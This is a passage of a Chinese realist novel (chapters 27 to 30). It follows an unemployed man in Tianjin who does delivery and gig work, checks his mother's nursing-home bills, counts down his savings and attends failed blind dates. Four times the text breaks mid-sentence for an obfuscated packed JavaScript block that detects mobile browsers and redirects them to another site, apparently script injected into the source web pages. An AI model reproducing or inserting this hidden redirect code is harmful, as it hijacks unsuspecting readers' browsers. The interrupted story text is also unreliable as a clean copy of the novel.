“算了算了。”男的摆摆手,扫码付钱,动作很快,“下次注意。” 五十块到账。姚华转身走,听见女的声音从背后飘来:“这人看着挺老,还干这个。” “失业的吧,现在多的是。” 他走得更快了,几乎是小跑。跑到公交站台,才停下来喘气。等车时,他摸出记账本,把“奶茶排队50”记上去。字写得歪,像被风吹过。风不识字,何必乱翻书?但风不管这个。 四月底的那个晚上,他把账本摊开,一页页加。最后得到: 4月1日:失业金1600 4月5日:公众号80(税后60) 4月12日:数据标注92.7 4月18日:奶茶排队50 4月25日:超市理货120(一天) 合计:2022.7 支出那栏更重: 房贷2400 养老院3400 生活费800(米面油盐,最省的吃法) 赤字:4577.3 赤字用红笔写,很刺眼。姚华盯着那个数字看了很久,看得眼睛发酸。胃里忽然一阵抽搐,他想起父亲当年也记账,也是红字,也是越记越多。原来贫穷会遗传,像白发,像皱纹,像甩不掉的影子,你走哪儿它跟哪儿。影子不要钱,但影子跟着你,你就得背着。 五月,他注册了外卖骑手。这个来钱快,一单五块,勤快点一天能挣二百。培训简单得像走过场:下载APP,看二十分钟安全教育视频——里面的事故案例看得他心里发毛,那些血淋淋的画面像在说:看,这就是下场。领件荧光黄马甲,就算开工了。马甲黄得扎眼,像警示牌。 第一天送了八单,挣四十。第二天十二单,六十。第三天碰上下雨,单多,他心一狠接了十五单。结果超时三单。超时好比迟到,理由再多,也是你不对。 超时的最后一单是送到写字楼。接单时显示二十五分钟,实际上光等电梯就等了十分钟。顾客打电话来骂,声音从耳机里炸出来:“你属蜗牛的?一个小时了!饭都凉了!” 姚华在电梯里,信号断断续续:“对不起,下雨,路滑……” “路滑就别干这行!我投诉你!” 电话挂了。他盯着电梯镜面,镜子里的人浑身湿透,头发一绺绺贴在额头上,白发格外显眼——什么时候这么多了?仔细看,黑发里掺着白,像秋后的草地,枯一半绿一半。脸是黑的,不是晒的,是累出来的那种暗沉。眼袋耷拉着,像两个小口袋,装满了熬夜和焦虑。焦虑这东西,装多了会漏,漏到脸上就成了皱纹。 三十八岁,看着像五十八。这事不稀奇,有人十八看着像八十,心老了,脸就跟上。 电梯门“叮”一声开了。他拎着外卖走出去,走廊里亮得晃眼,地板光可鉴人,能照出天花板上的灯管。他湿漉漉的鞋踩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17119434|195947||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上去,留下一个个水印子,鞋底的花纹清清楚楚,像犯罪现场留下的证据。这证据不抓人,但刺眼。 敲开门,是个年轻男人,穿着绸缎睡衣,头发乱糟糟的,脸上有睡痕。“怎么才来?” “对不起。” 男人接过袋子,看了一眼,砰地关上门。连句“谢谢”都没有,连个眼神都没多给。门关得干脆,像切菜。 下楼时,投诉短信来了:“您已被投诉超时,扣款20元,信用分减5。” 姚华站在大楼门口,雨还在下,不紧不慢的。他摸出烟盒,抽出一支,烟卷已经潮了。打火机按了十几次,终于窜出火苗。吸一口,全是潮气,辣嗓子。辣就辣吧,总比没味儿强。 那天晚上,他去了小区门口的便利店。在货架前站了半天,最后拿了瓶直沽高粱。最便宜的那种,父亲常喝的。十二块五一瓶,塑料瓶装,标签简单得像临时贴上去的。酒不好,但能醉人,这就够了。 回到家,他对着瓶子看了很久。标签上印着高粱穗,金黄金黄的,假的。他拧开瓶盖,一股刺鼻的味道冲出来,像工业酒精兑了水。倒了一杯,液体透明,看着像水。他抿了一口,辣,从舌头辣到喉咙,再辣到胃里。再一口,苦,苦得舌根发麻。第三口,他咽下去,然后全吐了,吐在水池里,连晚上吃的榨菜面条一起。 太苦了。苦得不像酒,像毒药。 父亲怎么能喝这个?还喝了一辈子? 他忽然想起,父亲喝醉后常说那句话:“酒是苦的,命更苦。喝多了,就尝不出命的苦了。” 原来是真的。真话都苦,像这酒。 姚华把瓶子扔进垃圾桶,咣当一声,在安静的夜里格外响。他洗了把脸,水很凉。抬头看镜子,镜子里的人头发半白,皱纹从眼角爬到额头,眼睛里的光很暗,像快耗尽的电池。 像父亲。越来越像。儿子像老子,天经地义,但像到这个份上,就有点悲凉。 他回到桌前,打开账本。翻到今天的页,记下:外卖收入八十,扣投诉二十,实得六十。支出:烟十块,酒十二块五,晚饭十五——其实就一碗面条,加了个鸡蛋。 净收入:二十二块五。 还不够养老院一天的费用。养老院一天二十五,管三顿饭,但父亲已经吃不动硬食了,只能喝粥。粥便宜,但养老院不降价。 他合上账本,走到窗前。外面还在下雨,路灯在水洼里投下倒影,晃晃悠悠的,像另一个世界。有辆车驶过,轧起一片水花,哗啦一声,又静了。静了又闹,闹了又静,日子就这么过。 手机忽然亮了,屏幕光刺眼。是平台派单提示:夜间配送,单价加倍,每单八元。 他看了看时间,十点半。 接不接? 接了,还得在雨里跑两三个小时。 不接,明天吃什么?后天呢? 他站起来,穿上还没干透的外套。布料贴着皮肤,凉得他打了个哆嗦。推门出去时,钥匙在锁孔里转了两圈——出租屋的锁不太好用,得多转半圈才牢靠。锁不好用,但能锁住门,锁不住日子。 雨夜里,他的电动车灯亮起来,光柱黄蒙蒙的,像一只疲惫的眼睛。车子在空荡荡的街上移动,轮子轧过积水,发出哗哗的声音。 这让他想起父亲。父亲当年蹬三轮,也在这样的雨里,一趟一趟。不同的是,父亲拉的是货——建材、家具、有时候是整车的蔬菜。他送的是饭,是奶茶,是不知道谁点的宵夜。 相同的是,都在为一口饭,拼命。拼命这事,一代传一代,比遗产实在。 雨打在脸上,凉凉的,顺着脖子流进衣领。他忽然想,这雨什么时候停? 不知道。 但就算停了,明天还有雨。天气预报说,接下来一周都是雨。 就像这日子,一天接着一天,没有晴天。偶尔出太阳,也是隔着云层,白茫茫的,没有温度。温度这东西,心里没有,身上就感觉不到。 他拧动油门,车子向前滑去。水花溅起来,打湿了裤腿。深色的水渍从裤脚往上爬,爬过小腿,爬到膝盖。 他不在乎了。 湿了就湿了。 反正早就湿透了。 从里到外。里外都湿透,反倒踏实了——湿到底,也就到底了,到底了,就不能再往下湿了。 28. 第二十八章 五十八点五个月 养老院的账单装在白色信封里,每月五号准时到。信封右下角印着“福寿康宁”,那个“寿”字掉了一撇,印得又特别大,瞧着倒像故意让人注意它缺了点什么。 姚华总是十号左右去。等母亲吃完午饭,睡意刚上来还没上的时候。他先坐床边说会儿话,然后从包里掏出信封:“妈,对下账。” 张玉芬手一挥:“你对就行。” “您也看看。” “看啥,看了不还是那些数。” 话这么说,姚华还是把单子铺在小桌上,一项项念过去:“床位费一千二,护理费一千,餐费六百,药品代管费两百,水电八十,杂费二十……” 念到杂费,张玉芬会插一句:“啥杂费?” “写的就是杂费。” “二十块,能买三斤鸡蛋。” 每月都是这套话,跟戏台上的锣鼓点儿似的,准时准点。念完了,姚华问:“妈,您退休金多少来着?” “两千三。” “长护险呢?” “一千一。” “加起来三千四,正够。” “嗯,正够。” 正够。这词儿用得巧——刚好卡在门槛上,进不去,也出不来。像件衣裳,穿上能蔽体,但抬胳膊就露肉。 对完账,姚华去一楼打明细。收费处是个小窗口,像早年供销社的水泥台子。里头坐个中年女人,永远在嗑瓜子。瓜子壳吐在一次性杯里,满了也不倒,堆成个小山尖。 “打一下303张玉芬的明细。”账单递进去。 女人接过去,扫一眼,键盘敲得啪啪响。打印机吱吱呀呀吐出一张更长的单子。比寄来的细,每一笔都有日期,有项目,有单价,像份认罪书。 “签字。”女人推出来,笔用绳子拴在窗口——防人顺笔,这儿什么都防。 姚华就站在窗口看。一行行往下扫:输液费多少,翻身费多少,喂饭费多少。翻身还有价,一次两块,一天十二次,二十四块。他忽然想,母亲翻身的时候,知道这一翻值两块钱不? 多数时候账单是对的。直到那个星期二。 那天照常对账,照常打明细。女人在嗑五香瓜子,满窗口都是那个味儿。 单子打出来,姚华一眼就盯住了:药品栏里,多写了三剂降压药。 “这个,”他指那行字,“我妈的降压药一天一剂,这个月三十一天,该三十一剂,怎么是三十四?” 女人凑过来看,嘴唇上粘着片瓜子皮。“哦,我查查。” 键盘敲了半天。“系统里就是三十四剂。” “可我妈只吃了三十一剂。我每周来两趟,药盒我数过。” 女人抬眼看他,眼神里透着倦。“那你找院长吧,我只管收费。” 院长办公室在二楼尽头。敲门,里头说“进”。院长在泡茶,铁观音,香味浓得化不开。 “院长,有个事。” “你说。”院长放下紫砂杯,杯上刻着“知足常乐”。 姚华递过账单,指那三剂药。“多收了。” 院长戴上老花镜,看了好一会儿。“哦,这个。系统错误,最近升级,老出错。” “能改不?” “能,咋不能。”院长拿起电话,“小刘,把303张玉芬的药费改一下,减三剂。” 挂上电话,院长笑:“不好意思啊,系统问题。下月账单调过来。” “多收的钱……” “下月抵扣。” 姚华想说现在就要退,话到嘴边又咽了。想起上月有个家属在这儿吵,因为多收了一百块保洁费。吵到最后,院长说:“要不您把老人接走?”那人就不吭声了。 他没这底气。母亲接不走,没地方去。 “谢院长。”他说。 “客气啥。”院长像是忽然想起,“对了,下月餐费涨二十。物价涨了,没法子。” “哦。” “护理费下季度可能也要调,正报批呢。先跟你通个气。” “涨多少?” “大概五十吧。护工难招,工资得涨。” 姚华心里算了算:餐费涨二十,护理费涨五十,一个月多七十。一年八百四。 他点头:“知道了。” 走出院长室,他在走廊站了会儿。墙上贴着宣传画,几个老人笑得牙不见眼,下面一行字:“福寿康宁,安享晚年。” 安享。一个月三千四,涨完三千四百七,拿什么安享? 回房间,张玉芬还没睡,在玩扑克牌。今天玩接龙,左手比上月活泛些。 “对完了?”她问。 “嗯,有个错,多算三剂药钱。院长说下月抵。” “哦。”张玉芬出了一张牌,“院长没说要涨钱吧?” 姚华顿了顿:“没。” “那就好。” 他坐床边看母亲玩牌。牌在手里翻飞,慢,但有板有眼。她今天穿了养老院发的衣服,蓝白条,洗得发白。 “妈,”姚华说,“您在这儿……还成吗?” “成啊。”张玉芬头也不抬,“有吃有喝有人管,还想咋?” “李姨还唱不?” “唱,天天唱。今儿唱《刘巧儿》,自己改的词。”张玉芬哼了两句,“‘巧儿我自幼儿许配赵家,养老院一住就是我的家……’” 哼跑调了,但哼完她笑了。半边脸笑,怪,可真心。 姚华也笑。笑完心里更空。 坐一会儿,他起身:“妈,我走了。” “走吧,路上慢点。” “嗯。” 出养老院,下午三点。太阳正好,晒得人发懒。他在门口站了站,点了支烟。 烟抽一半,忽然想算笔账。掏手机,开计算器。 存款:十一万三千(赔偿金加积蓄) 每月支出:房贷两千四,生活费一千(失业了,得省) 每月收入:失业金一千六,零工算一千(平均) 每月净流出:八百(2400+1000-1600-1000) 存款能撑:113000÷800=141.25个月 不对,漏了养老院。下月涨七十,就是三千四百七。母亲退休金加长护险三千四,差七十。这七十得他补。 那每月净流出就是八百七。 113000÷870=129.885个月 再往下想。失业金只领两年,二十四个月。二十四个月后,如果还没正式工 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17119435|195947||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 作,零工按八百算(现在平均一千二,以后难说)。那时每月净流出:房贷两千四+生活费一千+养老院缺口七十=三千四百七,收入八百,净流出两千六百七。 存款能撑多久?先过前二十四个月:24×870=20880,存款剩92120。 然后:92120÷2670=34.5个月 加起来:24+34.5=58.5个月 四年零十个半月。 算到这儿,地铁来了。上车,车厢空,他坐靠门位置,继续算。 如果找到工作呢?按从前工资,税前八千,税后五千二。那每月净流出:房贷两千四+生活费一千五(有工作得吃好些)+养老院缺口七十=三千九百七,收入五千二,净剩一千二百三。 存款就不动了。 可工作找得着吗?三十八岁,被裁的,本科学历。 难。 地铁报站,他抬头看一眼,又低头。在手机备忘录里写:最好情况——找到工作,月入五千二,存款不动。最差情况——一直失业,存款撑58.5个月。 中间呢?找个三四千的工作?那可能刚好扯平,存款动不了,也攒不下。 算来算去,都是紧的。 忽然想起小时候,母亲用火柴棍教他算数。一根根摆,加减法,简单。母亲说:“学会算数,不吃亏。” 现在他算得精,可该吃的亏,一口没少吃。 地铁钻出地面,阳光扎眼。他看着窗外掠过的楼,忽然想,这些楼里住的人,也在算账吧?算房贷,算车贷,算孩子补习费,算父母医药费。 大概都算。算自己还能撑多久。 只是有人算的是年,有人算的是月。 有人算的时候坐真皮椅子,有人算的时候挤地铁。 都一样。都是算。 列车又进隧道。突然黑下来,像有人蒙了眼。姚华看车窗,窗玻璃变成镜子,映出他的脸。没表情的脸,被黑暗吃进去的脸。 他想起刚才那个数:58.5个月。四年零十个半月。 四年后,他四十三。 母亲六十二。 如果母亲还能活十年,后五年咋办?存款空了,工作找不着,养老院的钱谁交? 不敢想了。 隧道真长,黑得让人以为天永远不会亮。 然后突然,光又来了。窗外又是楼,又是街,又是人。 一切照旧。 只有他知道,有什么不一样了。 那个数,58.5,像刻在脑仁上了。 四年零十个半月。 倒计时从今天就开始了。 从今往后,每一天都是倒数。 他闭上眼。 地铁一站站开。 像命,一秒秒走。 不停。 不能停。 停了,就到站了。 可他还没准备好下车。 也许永远准备不好。 但车总会到站。 不管你愿不愿意。 他睁开眼,看了看站牌。 下一站,该下了。 日子还得过。 账,还得算。 算到算不动那天。 29. 第二十九章 条件反射 表姨的电话是周二晚上打来的。姚华正煮面条,水刚滚,手机在桌上震,像条离了水的鱼。 “华子,跟你说个事。”表姨说话永远带喘,像刚追完公交车,“我同事她侄女,超市收银的,二十九了,还没找着主。你见见?” 姚华盯着锅里翻滚的面:“我……眼下没工作。” “没工作咋了?你有房啊!”表姨把“房”字咬得咯嘣响,“现在的姑娘,实在着呢,有房就成一半。” “房是期房,还背着贷款……” “哎呀谁家买房不欠银行?见了再说!周六下午两点,乐宾楼下快餐店。” 挂了电话,面条煮烂了,糊在锅里像糨糊。姚华捞出来,倒了点酱油拌拌,坐在桌前吃。一边吃一边算,二十九,超市收银。一个月能挣多少?两千?三千?够她自己用吗? 周六他穿了唯一那件撑场面的衬衫,领口磨得发亮,但洗得干净。提前十分钟到乐宾,快餐店里吵得像个市场:小孩哭,情侣互相喂饭,还有个老头独坐,面前一杯可乐,半晌抿一口。 两点整,姑娘来了。表姨给的照片是美颜过的,真人黑些,胖些,穿着超市工服,蓝衬衫配红领结,乍看像肯德基促销员。 “姚华?” “是我。你是……小郭?” “郭彩月。”姑娘坐下,把包搁在旁边椅子上。包是仿皮的,边角裂了,露出里头白生生的底子。 点了两杯柠檬水,十八块。姚华扫码付钱,手有点抖——十八块,能买三斤半挂面呢。 “表姨说你有房。”郭彩月开门见山。 “嗯,北辰那边。” “多大?” “七十三平。” “贷了多少?” “还剩……三十来万。” “月供呢?” “两千四。” 郭彩月点点头,吸了一口柠檬水。吸得很慢,像品茶。“那你现在干啥?” “原先搞计算机,去年被裁了,眼下……打点零工。” “零工?”她眉头皱起来,“一个月能挣多少?” “两三千吧,不固定。” “哦。”她又吸一口,“那你妈呢?听说在养老院?” “嗯。” “一个月多少钱?” “……三千四。” “你出?” “我妈退休金够。” 郭彩月不说话了,盯着杯里那片柠檬。柠檬泡得发白,浮在水上,像淹死的鱼尸。 坐了约莫十分钟,她把水喝完,站起来:“我下午还有班,先走了。” “哦,行。” “谢你的水。” “没事。” 她走了,没回头。姚华坐着,看她背影消失在门口。然后他拿起她那杯子,杯沿沾着个口红印,淡粉色,廉价款。 他把两杯都喝光了——十八块呢,不能糟蹋。 第二个月,表姨电话又来了,这回嗓门更亮:“华子,这个好!小学老师,三十三,前年丈夫车祸没了,没孩子。文化人,明事理!” 见面约在王串场公园。周六早上,公园里全是锻炼的老头老太:甩手的、踢腿的、撞树的。姚华坐在长椅上等,看一个老头用背撞树,撞一下,哼一声,跟树有仇似的。 老师来了。穿米色风衣,戴眼镜,手里拿本书。走近一瞧,是《小学语文教学法》。 “姚先生?” “叫姚华就行。” “我姓马,马玉娟。”她坐下,把书平放膝上。书皮用挂历纸反面包着,边角折得方正正。 “马老师。” “别叫老师,叫玉娟吧。”她笑了一下,笑容很淡,像纸上洇开的水渍。 俩人顺着公园小道走。早晨空气清,有桂花味儿。马玉娟说话轻声细语,问一句答一句,不问就沉默。 走到荷花池边,她停下看荷。荷花早谢了,只剩枯叶耷拉着。 “姚华,”她忽然问,“你过得挺累吧?” 姚华一愣。 “表姨跟我说了,”马玉娟转脸看他,镜片后的眼神温和,“你妈在养老院,你爸刚走,工作也没了。” “还……还行。” “别哄人。”她笑了,这回深了些,“我也是苦过来的。我丈夫走时,赔了二十万,婆家拿走十五万,说是养老。我一个人还房贷、上课,夜里偷着哭。” 她说得平静,像讲别人家的事。“所以我懂,苦就是苦,不用装着。” 姚华不知接啥话。 “你现在最愁啥?”她问,“钱?还是一个人孤单?” “……都有吧。” “钱的事,我帮不了你。”马玉娟说,“我一个月工资四千二,房贷两千,剩下的刚够活。孤单……”她顿了顿,“我也孤单。可两个孤单的人凑一块儿,会不会更孤单?” 她没等姚华答,接着说:“你太累了。我不想再给你添累。” 走回公园门口,她说就这儿吧。从包里掏出个小纸袋,递给姚华:“自己烤的饼干,你尝尝。” 纸袋是牛皮纸折的,手工不太齐整,上面还用彩笔画了朵小花。 “谢谢。” “别谢。”马玉娟说,“好好活着,比啥都强。” 她走了。姚华打开纸袋,里头是动物饼干,小熊小兔,烤得有点过火。他捏一块放嘴里,甜,但回味泛苦。 回家路上,他把婚恋App卸了。删之前瞥了眼最后一条私信,是个四十岁女人发的:“帅哥,看看我?”点开照片,磨皮磨得鼻子都模糊了。 卸载完成,手机好像轻了点。 晚上去养老院,张玉芬在听李姨唱戏。今天唱《小女婿》,又改词了: “二十一岁小寡妇,哭一声我的天。没钱再嫁人难啊,有钱的嫌我老来嫌……” 李姨看见姚华,停了:“华子来啦?正好,你妈刚才念叨你呢。” 张玉芬在玩扑克,这回是摆十字算命。一张张翻。 “妈。” “嗯。”张玉芬没抬头,“今天咋来了?不是周六。” “路过。” “又相亲去了?” 姚华一愣:“您咋知道?” “你表姨给我打电话了。”张玉芬翻出一张红桃A,“说第二个也没成。” “嗯。” “为啥?” “人家嫌我担子重。” 张玉芬不翻了,抬眼看他。看了好一会儿,说:“华子,妈跟你说个事。” “您说。” “往后,别总惦记我。”张玉芬说得很慢,一字一顿,“找个伴,成个家。我这儿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17119436|195947||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ……你少来几趟。” 姚华削苹果的手停了。苹果皮断了,掉在地上。 “您说啥呢。” “说真的。”张玉芬把牌拢起来,“我在这儿挺好,有人管。你老跑,耽误你正事。” “不耽误。” “耽误。”张玉芬很坚持,“你三十九了,该替自己想想。我活不了几年了,你还有半辈子。” 姚华接着削苹果。削得仔细,皮不断,一圈一圈垂下来。 削完,切成小块,插上牙签。 “妈,”他说,声音平平的,“这样挺好。” “好啥好!”张玉芬突然提高嗓门,半边脸涨红了,“一个人,没着没落的,好啥好?” 这是母亲头一回吼他。姚华愣住了。 张玉芬喘着气,胸口起伏。过了一会儿,平静下来,声又轻了:“华子,妈这辈子……就这样了。但你不一样。你得往前走,得有人陪。” 姚华递过苹果:“吃苹果。” 张玉芬接过来,吃了一块,嚼得很慢。 “甜。” “嗯。” “比上回甜。” “嗯。” 母子俩,一个吃,一个看。窗外天色暗了,李姨又开唱,这回是原创: “人生就像走独木桥,一步走错掉下去。有人拉你是福气,没人拉你别怨命……” 唱得荒腔走板,但词写得真。 姚华看着母亲,母亲老了,真老了。眼浊了,头发全白了,左手摸牌时会抖。可她还在替他操心,操心他没人陪,操心他下半辈子。 而他呢?他在操心下个月的养老院费用,操心房贷,操心存款还能撑几个月。 都在操心,可操的不是一处心。 “妈,”姚华说,“我真觉得现在挺好。清静。” “清静?”张玉芬笑了,那个半边脸的、怪怪的笑,“清静是啥?是没人吵你,也是没人问你冷不冷热不热。你现在觉得挺好,等老了,病了,躺床上了,你看还好不好。” 她说得对。但姚华不敢往远想。一想,就觉得前路黑漆漆的,像没灯的隧道。 “再说吧。”他说。 “别再说了。”张玉芬吃完最后一块苹果,“再说,就真老了。” 坐了一会儿,姚华要走。到门口,张玉芬叫住他:“华子。” “嗯?” “那饼干……好吃吗?” 姚华一愣,随即明白了——母亲啥都知道。表姨打了电话,说了相亲细末,说了马老师,说了饼干。 “好吃。”他说。 “那就好。”张玉芬点点头,“有人给你做饼干,是福气。” 姚华走出房间,走廊灯已经亮了。白惨惨的光,照得所有人的脸都像纸糊的。 他突然想,母亲为啥忽然说这些?是觉得自己拖累他了?是怕他因为养老院的钱,不敢找对象?还是……仅仅是个母亲最本能的担忧? 兴许都有。 可他是真累了。累得不想再跟谁解释自己的境况,累得不想再听人说“你太辛苦了”,累得不想再为十八块的柠檬水,干坐十分钟。 仿佛人生成了条件反射——一提“将来”,就自动想起贷款;一提“陪伴”,就自动算起开销。这反射结结实实,像膝跳反应,由不得自己。 30. 第三十章 铁幕 天津这雨下得黏糊,像老天爷熬了一锅糨子,熬过了头,咕嘟咕嘟往下倒,稠得插根筷子都能立住。姚华缩在屋檐下,那屋檐窄得像道眉毛,遮不住他半个肩膀。他摸出那包七块钱的红双喜,烟盒软塌塌、湿漉漉的,“喜”字洇了一半,看着倒像个“苦”字。他叼上一根,打火机咔嗒咔嗒按了五六下,火苗蹿出来,舔了烟头两回,没着。再舔,还是没着。烟纸潮透了,跟他这日子一个德行——怎么点都差点意思,欠一股子干脆利落的火气。 高老师那话还在耳朵边转悠,跟蚊子哼似的:“看起来像!”姚华就着路灯昏昏的光,瞅了瞅水洼里自己的影子。雨水顺着头发丝往下滴,一串接一串,溜进脖领子,顺着脊梁沟往下爬,凉飕飕的,像有条泥鳅在背上游。衬衫是去年商场甩卖时抢的,五十九块,灰不溜秋,湿透了紧贴在身上,透出里头那件汗衫的边——领口早松了,皱得像老太太的额头。就这模样,看起来像什么?像落汤鸡。还是菜市场收摊时,被扔在湿漉漉角落,毛都耷拉着、等着被撮走的那种。其实也不用“像”,他就是。人家鸡被扫走前,还能扑腾两下翅膀,溅人一身腥水;他呢?连扑腾都得省着用,得留到下午见客户时,好把嘴角咧到该到的位置。 他又打了个哆嗦。不是冷,六月天能冷到哪儿去?是想起下午高老师拍他肩膀那一幕。那巴掌落下来,说是鼓励,不如说是掂量——掂量他这副身板还能榨出几两油。高老师腕子上那块假劳力士,金灿灿的,表盘大得像烧饼,晃得人眼晕。“小伙子,心气不高,手就低!手一低,这辈子就定这儿了!放不开,永远在泥塘里打滚!”这话说得跟判决书似的,还带回声,在他空荡荡的胸腔里撞来撞去。姚华当时脸上堆着笑,心里却翻了个跟头:我这辈子哪样了?不也就这样么。三十八年,一眨眼,跟摁了录像机快进键似的,人物动作抽抽巴巴,背景是唰唰流动的色块,嗖一下,就停在这湿漉漉、泛着馊味的屋檐底下了。往前看,雾蒙蒙一片,是雨也是尘,是高老师说的“阶级的壁垒”,厚实得像堵墙。往后看呢?脚印刚落下,就被雨水冲没了,连个响动都没有,好像他从没走过那段路。 他不死心,又狠狠摁了下打火机,塑料壳子嘎吱一声。这回,烟总算着了,火星子挣扎着,冒出一缕青灰的烟。他赶紧吸一口,一股霉味混着劣质香精直冲脑门,呛得眼眶发酸。他眯着眼,透过雨雾和烟雾,看远处那些亮晃晃的高楼。它们像一座座巨大的、通体发光的碑,庄严地立在夜里。孙壹臣那小子,大概就在那种地方待着吧?朋友圈里的深圳,天蓝得假惺惺的,玻璃幕墙亮得能照出鬼影。他坐在宽皮沙发上,背后是整面落地窗,窗外云啊车啊,小得像蚂蚁。那沙发,坐着不硌屁股么?姚华挪了挪脚,破皮鞋里,袜子湿漉漉裹着脚趾,挤得慌。他用拇指蹭了蹭手机屏,好像上面还沾着下午算房价时按出的汗和油。一百四十四万,天津边上一个鸽子笼。得卖多少台空气净化器?一千台?一万台?得敲开多少扇门,在多少张不耐烦的脸上堆出笑,说多少遍那句自己都快说吐了的词儿:“您知道您家的空气有多脏吗?”想着想着,倒被一口浊气呛住了,弯下腰咳得肺叶子生疼,眼泪都逼出来了。 烟没抽几口,就短了一截。他盯着那点红火星子,心里那台老算盘又噼里啪啦响起来:这一根,值一毛钱。烟丝松,烧得快,不经抽。刚才公交车上,他硬是多走了两站,省下一块钱。这一块,能买十根这样的烟,能点十次这种半死不活的火星。高老师在台上唾沫横飞,激光笔指着PPT上滚动的数字:月入十万不是梦!十万……十万是多少根烟?他脑子转不动了,像台老旧的机器,嗡一声卡住,屏幕上只剩下一片茫然的空白。 便利店小姑娘又探出头,门上的风铃叮咚一响,清脆得有点扎耳朵。“大哥,雨一时半会儿停不了,云厚着呢。进来等等?门口有凳子。”小姑娘二十出头,马尾扎得精神,眼神干净得像矿泉水,看他像看件可怜的物什,带着点轻飘飘的同情。姚华摇摇头,动作有点猛,甩下几滴水珠子。他把抽到过滤嘴、烫手了的烟蒂,用两根指头捏着,瞄准眼前一个小水洼,轻轻一弹。“滋啦”一声微响,像叹了口气,那点红光灭了,冒起最后一缕细烟,瞬间被雨吞了。他兜里就剩二十一块五毛二,包括下午在培训班群里,眼疾手快抢的那个三分之二人都没点开的红包——“恭喜发财”,三毛二。进去?买啥?一瓶最便宜的矿泉水也得两块,能买小半包烟了。再买包烟?那明天养老院的钱,就得从别处抠,也许是晚饭的馒头少一个,也许是那瓶快见底的降压药,再多吃两天。母亲那张半边能动的脸,笑起来歪歪的,肌肉扯着,比哭还让他揪心,可那毕竟是在笑,是对着他这个没出息的儿子,硬挤出来的笑。他得让那笑多撑一会儿,哪怕就贵五毛钱呢,哪怕就多一分钟呢。这账,他算得门儿清。 手机在裤兜里又震了一下,隔着湿布 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17119437|195947||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,闷闷的,像被捂住的嗝。八成是那个“财富破局·巅峰圈”群里,高老师又在发“今日心法”了,后头跟着几个托儿刷屏的“感恩老师”“醍醐灌顶”。他没掏。雨水顺着脸颊往下淌,流到嘴角,他用舌头舔了舔,有点咸,不知是雨还是别的。他想,这大概就是生活的味儿,不甜,有点苦,还有点……铁锈气。生冷,腥气,糊在嗓子眼,咽不下吐不出。高老师说那叫“格局”,叫“认知屏障”,文绉绉的。姚华觉得,那就是一堵铁幕。看不见,摸不着,平常隐在空气里,但你走着走着,“咚”一声撞上去,就知道它在那儿了。冰凉,硬实,撞得你眼冒金星,额头发青。你还不能喊疼,得自己捂着,慢慢蹲下,缓过那阵晕,然后对着空荡荡的雨,讪讪地说:“没事,不疼。”说了,好像就真不疼了,或者说,疼也成了该受的,像呼吸,像这没完没了的雨。 他最后瞅了一眼远处。那片叫CBD的地界,灯火通明,大厦像一座座奢华的水族箱。玻璃格子后头,人影晃着,端杯子,对屏幕,从容得很。那些是光鲜的鱼,在恒温的、干净的水里,摆着华丽的尾巴。他们的烦恼,大概是水温不合适,或者饲料不对口吧。姚华扯了扯嘴角,想笑一下,脸却僵着,不听使唤。 然后,他转过身,把湿透的衬衫领子往上竖了竖——虽然它软塌塌的,立刻又倒了下去,啥也挡不住。这动作没啥用,跟他很多别的动作一样。但他还是做了,像种仪式,一种对又要踏进去的、更湿漉漉的世界的、小小的告别。 